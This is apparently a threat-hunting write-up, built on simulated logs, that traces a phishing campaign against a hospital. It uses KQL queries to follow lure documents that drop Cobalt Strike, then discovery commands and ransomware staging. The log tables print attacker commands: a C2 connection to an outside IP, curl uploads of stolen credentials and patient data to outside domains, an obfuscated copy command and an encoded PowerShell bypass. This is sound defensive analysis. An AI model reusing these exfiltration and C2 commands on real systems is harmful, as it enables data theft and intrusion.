2024-05-07 13:49:34.0000 GET 10.10.0.3 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0 https://nothing-to-see-here.net/online/share/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-08 10:15:49.0000 GET 10.10.0.238 Mozilla/5.0 (Windows NT 6.2; rv:49.0) Gecko/20100101 Firefox/49.0 https://nothing-to-see-here.net/published/Raisin_Kane_Promo_Offer.docx
2024-05-08 12:28:32.0000 GET 10.10.0.238 Mozilla/5.0 (Windows NT 6.2; rv:49.0) Gecko/20100101 Firefox/49.0 https://totally-legit-domain.com/online/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-08 14:41:22.0000 GET 10.10.0.27 Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36 https://nothing-to-see-here.net/files/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-11 17:10:07.0000 GET 10.10.0.214 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0 https://totally-legit-domain.com/modules/modules/Raisin_Kane_Promo_Offer.docx
2024-05-12 12:21:33.0000 GET 10.10.0.171 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 https://totally-legit-domain.com/published/Raisin_Kane_Promo_Offer.docx
2024-05-12 13:36:11.0000 GET 10.10.0.140 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Win64; x64; Trident/6.0) https://nothing-to-see-here.net/images/public/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-13 09:41:32.0000 GET 10.10.0.239 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; WOW64; Trident/5.0) https://nothing-to-see-here.net/published/public/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-13 14:39:23.0000 GET 10.10.0.3 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0 https://nothing-to-see-here.net/files/search/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-14 12:05:13.0000 GET 10.10.0.1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.1; Trident/6.0) https://totally-legit-domain.com/files/images/Raisin_Kane_Promo_Offer.docx
2024-05-15 13:28:56.0000 GET 10.10.1.11 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 https://totally-legit-domain.com/online/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-16 09:59:58.0000 GET 10.10.0.1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.1; Trident/6.0) https://nothing-to-see-here.net/tools/advanced-ip-scanner.exe

The users are then directed to download some files. Most worriesome is that at one point a file named advanced-ip-scanner.exe is downloaded, a day after the afflicted users download (and likely open) the malicious files. The IP address that downloaded said executable belongs to Senior IT Administrator Anthony Davis. Using a similar query, we can check exactly what distinct files were downloaded:

let redirectDomains =
OutboundNetworkEvents
| where url has "raisinkanes.com"
| distinct tostring(parse_url(url).["Query Parameters"].["redirect"]);
OutboundNetworkEvents
| where tostring(parse_url(url).Host) in (redirectDomains)
| distinct tostring(parse_path(
    tostring(parse_url(url).Path)
    ).Filename)
Query Results
Filename
Raisin_Kane_Promo_Offer.docx
Raisin_Kane_Free_Meal_Voucher.pdf
advanced-ip-scanner.exe

It's likely that these documents (Raisin_Kane_Promo_Offer.docx and Raisin_Kane_Free_Meal_Voucher.pdf) dropped something once the affected users opened them.

let redirectDomains =
OutboundNetworkEvents
| where url has "raisinkanes.com"
| distinct tostring(parse_url(url).["Query Parameters"].["redirect"]);
let bad_files =
OutboundNetworkEvents
| where tostring(parse_url(url).Host) in (redirectDomains)
| distinct tostring(parse_path(
    tostring(parse_url(url).Path)
    ).Filename);
let affected_hosts =
FileCreationEvents
| where filename in (bad_files)
| distinct hostname;
ProcessEvents
| where hostname in (affected_hosts)
| serialize
| extend drop = next(process_commandline)
| where process_commandline has_any (bad_files)
| distinct timestamp, process_commandline, drop
Query Results
timestamp process_commandline drop
2024-05-01 09:57:16.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\evbrowne\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-01 10:58:14.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\stwilson\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-01 11:55:36.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\grnoble\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-01 12:40:15.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\dilopez\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-01 14:46:54.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\loortiz\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-01 15:05:16.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\drmark\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-02 10:58:13.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\daregis\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-02 11:14:06.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\misimpkins\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-02 12:01:55.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\mawilliams1\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-02 14:09:57.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\rucarbonaro\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-02 14:51:58.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\chkim\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-02 15:35:10.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\gemattingly\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-02 16:12:01.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\mawilliams1\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-02 16:15:30.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\ceday\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-03 09:37:21.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\wibuck\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-03 09:40:42.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\sasantos\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-03 09:57:47.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\aljean\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-03 10:50:01.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\alwang\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-03 13:41:34.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\shgossett\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-03 13:53:35.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\sasantos\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-03 15:43:13.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\tibartkowiak\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-04 14:32:41.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\sybez\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-04 14:57:36.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\brshirley\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-04 16:08:03.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\dewerts\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-05 08:34:27.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\glkemp\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-05 10:33:33.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\chjolly\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-05 12:10:43.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\frwade\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-05 13:41:07.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\machambers\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-05 14:55:00.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\burochelle\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-06 10:14:54.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\elrodriguez\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-06 11:16:52.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\yvkibler\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-06 12:36:27.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\elrodriguez\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-07 10:17:33.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\edcooper\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-07 13:03:26.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\bonelson\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-08 10:16:34.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\josalstrom\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-08 12:29:58.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\josalstrom\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-08 14:42:33.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\andyer\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-11 17:10:46.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\felytle\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-12 13:37:03.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\loauston\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-13 09:42:37.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\nigoforth\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-13 14:40:16.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\dofrance\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-14 12:05:44.0000 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\andavis\Downloads\Raisin_Kane_Promo_Offer.docx" C:\ProgramData\cobaltstrike.exe
2024-05-15 13:29:36.0000 "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\joschiavone\Downloads\Raisin_Kane_Free_Meal_Voucher.pdf" C:\ProgramData\cobaltstrike.exe
2024-05-16 10:00:05.0000 C:\Users\andavis\Downloads\advanced-ip-scanner.exe /silent C:\Windows\system32\wermgr.exe -upload

Indeed, once the documents are opened they drop cobaltstrike.exe on the system. And also, on May 16th, "Anthony Davis" executes advanced-ip-scanner.exe.

CobaltStrike is a tool with legitimate uses for red team operations (in a very simplified manner: good guys hacking their own companies to find vulnerabilities before the bad guys do.)

Since this is a paid tool, most uses by adversaries are cracked copies. There exists an open source alternative called Sliver, which will likely become more popular as it grows refined over time.

Another CobaltStrike alternative that has grown in popularity is Brute Ratel, which is also paid proprietary software.

Since Anthony Davis is the Senior IT Administrator and evidently the most interesting target for both ransomware groups, I'll focus on his system.

ProcessEvents
| where username == "andavis"
and timestamp >= datetime(2024-05-14 12:05:44.0000)
and process_commandline !contains "WindowsApps"
and process_commandline !contains "SystemApps"
Query Results
This table has been redacted; it only shows the most relevant findings, rather than the entire output of the KQL query above.
timestamp parent_process_name parent_process_hash process_commandline process_name process_hash hostname username
2024-05-14 12:05:44.0000 Explorer.exe fcda24184c10f20c78193f9e3ec961c4bd76b6526cb0cc50b690511f1e97688c "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\andavis\Downloads\Raisin_Kane_Promo_Offer.docx" WINWORD.EXE 251158732c73f400a465e12104837f5a58c38bdc24724757beea0cddc0077846 AMFB-MACHINE andavis
2024-05-14 12:05:45.0000 WINWORD.EXE 1f5b1b9952451c3e1fbdd0fde30edf8f5a299efe74bdfdd7e5e9d1dfa2e81dd8 C:\ProgramData\cobaltstrike.exe cobaltstrike.exe 1cfb9ee1c113cc2987a2642934c2b510680258c345a1d73da5ee7516cbfbbb8d AMFB-MACHINE andavis
2024-05-14 12:24:45.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f C:\ProgramData\cobaltstrike.exe --connect 93.238.22.123:50050 cmd.exe c167a329392a515e1cd2eead7f1481e2acbb02645f7dd036254450e66681cb7f AMFB-MACHINE andavis
2024-05-15 10:58:02.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f systeminfo cmd.exe 83348c40356de93141856fc542fe73170c50dc3f139e5c10c7dc40409e0ef894 AMFB-MACHINE andavis
2024-05-15 11:16:02.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f ipconfig /all cmd.exe 0d9fa2dfef95056c3e651c4810aa52f804d754c9d4cc41d5323c30cd6f520915 AMFB-MACHINE andavis
2024-05-15 11:59:02.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f netstat -an cmd.exe 79ed4ad355b610be2fc4a8e41517c7c07eb35d12cd9d2ad904392e0bab67987d AMFB-MACHINE andavis
2024-05-15 12:23:02.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net user cmd.exe d1050798005333b0803ad17a58bc7d56789421c7421baa58f42fe9be00fb94b0 AMFB-MACHINE andavis
2024-05-15 13:06:02.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net localgroup administrators cmd.exe 260178848b1d27fc1fc968aa093435d2a54be3ccd374464f0089f25f117c647f AMFB-MACHINE andavis
2024-05-15 13:48:02.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net view cmd.exe 106e4eec2784a52d855a7f00858f7a77b69fdc560f75963ae413acb16f14b3c1 AMFB-MACHINE andavis
2024-05-16 10:00:05.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f C:\Users\andavis\Downloads\advanced-ip-scanner.exe /silent advanced-ip-scanner.exe 1fe07fa09329574eb3d873c458a3625055d49b567e204992099430feee4b9086 AMFB-MACHINE andavis
2024-05-16 11:25:08.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f cmd.exe /c copy C:\Users\andavis\Documents\network_diagrams.pdf \\jojos-hospital.org\backup\network_diagrams.pdf cmd.exe eac3dd27cf773e44eae6548ce66f3892636fe050d27961f099cf3b06f572e8f2 AMFB-MACHINE andavis
2024-05-16 12:09:26.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f cmd.exe /c copy C:\Users\andavis\Documents\credentials.txt \\jojos-hospital.org\backup\credentials.txt cmd.exe 73e7f40b606c795b109263962d7e32693e083f066f48e2b88fdba4e68d7d8a9f AMFB-MACHINE andavis
2024-05-16 12:29:40.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f cmd.exe /c powershell Compress-Archive -Path C:\Users\andavis\Documents\network_diagrams.pdf, C:\Users\andavis\Documents\credentials.txt -DestinationPath C:\Users\andavis\Desktop\important_network_info.zip cmd.exe 709549bfc86eedf8b8853a7b2bf1b1e395a8efbf1990cb8978756bb1510fcad5 AMFB-MACHINE andavis
2024-05-16 13:32:29.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f ( 'piz.ofni_krowten_tnatropmi\potkseD\sivadna\sresU\:C piz.ofni_krowten_tnatropmi\derahs\tnemtrapedti\gro.latipsohsojoj\\ ypoc c/ exe.dmc' -split '' | %{$_[0]}) -join '' cmd.exe dc570db8e6d7c83f90e7c110f491dad0d4a1675543483279ac4cd50f7b60b15d AMFB-MACHINE andavis
2024-05-16 13:39:48.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f cmd.exe /c curl -F "file=@C:\Users\andavis\Desktop\important_network_info.zip" https://nothing-to-see-here.net/upload cmd.exe 2347a39f24e593c763c9871d7f09371ff407bd78b02cab42bfd644dc4dbfc659 AMFB-MACHINE andavis
2024-05-20 17:20:42.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f systeminfo cmd.exe 82105e426018d8422cbbc25da4c85f45d3ef979737302a142101f825bf98b23f AMFB-MACHINE andavis
2024-05-20 17:35:42.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f ipconfig /all cmd.exe 899e8afe60dcbbf7a008eea08f57dccca8cf97a453ce3a27d4edb07348222315 AMFB-MACHINE andavis
2024-05-20 17:49:42.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f netstat -an cmd.exe 51ebe5492f5152f073a5e4bd070a243283c0fd07a70fdeb6f047984bd6ce7283 AMFB-MACHINE andavis
2024-05-21 11:36:14.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net user cmd.exe 58d28b09cf58fb0635f4c8986a7772583333975e2d85b94c23ef2075500827e1 AMFB-MACHINE andavis
2024-05-21 11:43:14.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net view cmd.exe 37088b876c137718e5c1291323f59ca81c3f3496c15bfcfa727776930f9f0d2b AMFB-MACHINE andavis
2024-05-21 12:24:14.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net group "Domain Users" cmd.exe 46f53ae41045bd2ce13cfbe00059a6b6a0afc89305ee62829f6a437fcc69b589 AMFB-MACHINE andavis
2024-05-25 13:03:33.0000 powershell.exe 529ee9d30eef7e331b24e66d68205ab4554b6eb3487193d53ed3a840ca7dde5d C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc SW52b2tlLVdtaU1ldGhvZCAtQ29tcHV0ZXJOYW1lICRTZXJ2ZXIgLUNsYXNzIENDTV9Tb2Z0d2FyZVVwZGF0ZXNNYW5hZ2VyIC1OYW1lIEluc3RhbGxVcGRhdGVzIC0gQXJndW1lbnRMaXN0ICgsICRQZW5kaW5nVXBkYXRlTGlzdCkgLU5hbWVzcGFjZSByb290WyZjY20mXWNsaWVudHNkayB8IE91dC1OdWxs" powershell.exe 6da92c4256ccc8f66a56c32c0dcb7d8e4532d1ec27995c9b071f093b61dca817 AMFB-MACHINE andavis
2024-05-26 14:17:06.0000 powershell.exe 529ee9d30eef7e331b24e66d68205ab4554b6eb3487193d53ed3a840ca7dde5d C:\Windows\System32\powershell.exe powershell Get-WmiObject -Class Win32_NetworkAdapterConfiguration powershell.exe 7f0067e67fbff2971d6e8f49a08ae1793fb752675a652ec89bb0d048111043e2 AMFB-MACHINE andavis
2024-06-01 13:46:46.0000 powershell.exe 529ee9d30eef7e331b24e66d68205ab4554b6eb3487193d53ed3a840ca7dde5d C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc SW52b2tlLVdtaU1ldGhvZCAtQ29tcHV0ZXJOYW1lICRTZXJ2ZXIgLUNsYXNzIENDTV9Tb2Z0d2FyZVVwZGF0ZXNNYW5hZ2VyIC1OYW1lIEluc3RhbGxVcGRhdGVzIC0gQXJndW1lbnRMaXN0ICgsICRQZW5kaW5nVXBkYXRlTGlzdCkgLU5hbWVzcGFjZSByb290WyZjY20mXWNsaWVudHNkayB8IE91dC1OdWxs" powershell.exe e5e155d0b312ed21ead38561f1755245b250010a810438b1de7e3b428dcd68de AMFB-MACHINE andavis
2024-06-16 16:12:21.0000 explorer.exe 0327b7630d585ad01f6ec2eb847622645b81df94a1370b5e466db9f09f933951 C:\Windows\System32\cmd.exe nslookup google.com cmd.exe 89ddfd0e1e787e5afebbbcf33a380e0638c989b2ec7d3fb1920a0472f9304eda AMFB-MACHINE andavis
2024-06-17 13:35:12.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f cmd.exe /c copy C:\\Users\\andavis\\Downloads\\lockbyte_ransomer.exe \\jojos-hospital.org\\shared\\spread_ransomware.exe cmd.exe b29f5d70d4bf72d146b932550b23541b0797f597e24331d47052dad5212925ba AMFB-MACHINE andavis
2024-06-17 14:23:25.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f C:\Users\andavis\Downloads\patient_data_exporter.exe /export C:\Users\andavis\Documents\patient_data_1.zip /source \\jojos-hospital-server\important_data\patient_records patient_data_exporter.exe 0d663ea9485770015ce187c5796b5e171bcf4b14d48175e7189a3456ccd8cb16 AMFB-MACHINE andavis
2024-06-17 14:56:02.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f C:\Users\andavis\Downloads\patient_data_exporter.exe /export C:\Users\andavis\Documents\patient_data_2.zip /source \\jojos-hospital-server\important_data\archive\patient-records patient_data_exporter.exe 07850b0ffdf2a408bfec18693b339691227e66de3fc320c01725d72b7c4853d2 AMFB-MACHINE andavis
2024-06-17 15:54:53.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f C:\Users\andavis\Downloads\patient_data_exporter.exe /export C:\Users\andavis\Documents\patient_data_3.zip /source \\jojos-hospital-server\important_data\old-patient-data patient_data_exporter.exe 071668e559d63b7ea3a71c115f66d612faada08bdca301ba95d0ab2c3045c604 AMFB-MACHINE andavis
2024-06-17 17:18:57.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f cmd.exe /c curl -T C:\Users\andavis\Documents\patient_data_1.zip https://secure-health-access.com/upload/patient_data_1.zip cmd.exe 21f6b0962ea22e6eb0c1bb6143090e6929b801b54c584268148518c1864ec3c6 AMFB-MACHINE andavis
2024-06-17 17:30:31.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f cmd.exe /c curl -T C:\Users\andavis\Documents\patient_data_2.zip https://secure-health-access.com/upload/patient_data_2.zip cmd.exe 1bef9249ff7ae6480d8d62daaab870e3d1e35a67d7551571551d6214d727fea7 AMFB-MACHINE andavis
2024-06-17 17:31:50.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f cmd.exe /c curl -T C:\Users\andavis\Documents\patient_data_3.zip https://secure-health-access.com/upload/patient_data_3.zip cmd.exe 6d88a47faaa3f587650f4ebebe9425b3aff292d74f29f582647f05c3dd4fd78b AMFB-MACHINE andavis
2024-06-17 17:36:47.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f cmd.exe /c del C:\Users\andavis\Documents\patient_data_*.zip cmd.exe 3400577569147cdb0ae8edbc9c77dd921a46ca43e7f386adee895a432baa2644 AMFB-MACHINE andavis

So it is. After Anthony Davis opens the malicious .docx file, it drops and executes cobaltstrike.exe, connecting to IP address 93.238.22.123 at port 50050. The attacker, now possessing hands-on-keyboard access, runs discovery commands to scope out the system.

  • systeminfo: Displays detailed configuration information about a computer and its operating system, including operating system configuration, security information, product ID, and hardware properties (such as RAM, disk space, and network cards). [Microsoft Learn]
  • ipconfig /all: Displays the full TCP/IP configuration for all adapters. Adapters can represent physical interfaces, such as installed network adapters, or logical interfaces, such as dial-up connections. [Microsoft Learn]
  • netstat -an: [The -a flag] Displays all active TCP connections and the TCP and UDP ports on which the computer is listening. [The -n flag] [d]isplays active TCP connections, however, addresses and port numbers are expressed numerically and no attempt is made to determine names. [Microsoft Learn]
  • net user: [...] displays a list of all user accounts for the local computer. [Microsoft Learn]
  • net localgroup administrators: Used without additional parameters, **net localgroup <**GroupName> displays a list of users or global groups in a local group. [Microsoft Learn] In this case, it shows all administrator accounts in this device.
  • net view: Used without parameters, net view displays a list of computers in your current domain. [Microsoft Learn] In the hospital's case, this likely means all computers on the network.

The attackers then execute advanced-ip-scanner.exe with the /silent switch. Advanced IP Scanner is a legitimate tool which shows all network devices, gives you access to shared folders, provides remote control of computers (via RDP and Radmin), and can even remotely switch computers off. The documentation is here. In this case, the attackers are probably just relying on its LAN-scanning capabilities.

The attackers then proceed to download, compress and exfiltrate the hospital's network diagrams, credential backups (which were saved as a plain text file) off its server, and other important network info (with one command in particular crudely obfuscated by reversing the string.)

While this is the end of the threat actor that stole and sold Anthony Davis' credentials and hospital network information, there are some previously-undiscovered commands run on May 20th, likely LockByte at this point (as May 20th is when the first reconnaissance queries and other suspicious activity beginsm before the ransomware attack itself): besides the usual set of discovery commands, they also use:

  • net group "Domain Users": Adds, displays, or modifies global groups in domains. [...] [The <GroupName> parameter] [s]pecifies the name of the group to add, expand, or delete. Specify a group name to view a list of users in a group only. [Microsoft Learn]

And also execute a pair of encoded commands with -Nop -ExecutionPolicy Bypass, which will run said command without alerting or prompting the user in any way. The encoded commands are in base64 and turn out to be the same command, run twice:

  1. Invoke-WmiMethod -ComputerName $Server -Class CCM_SoftwareUpdatesManager -Name InstallUpdates - ArgumentList (, $PendingUpdateList) -Namespace root[&ccm&]clientsdk | Out-Null

This seems to be checking what updates are (or aren't) installed in the system, perhaps to look if there are any unpatched vulnerabilities to exploit. The attackers also check network adapter configuration and perform a nslookup against Google. For completion's sake, the table above contains the commands they used to spread the ransomware and exfiltrate patient data, as seen on [2].

And with this, we come to a close: before the ransomware attack, a second threat group succesfully compromised Senior IT Administrator Anthony Davis' devices via a phishing campaign targeting JoJo's Hospital employees, impersonating a local business frequented by hospital employees. This group later sold the hospital's network information and credentials to LockByte, whom used this information to stage a ransomware attack; notably, a case of double-extortion: "pay so your information is decrypted AND the stolen data is not sold/leaked."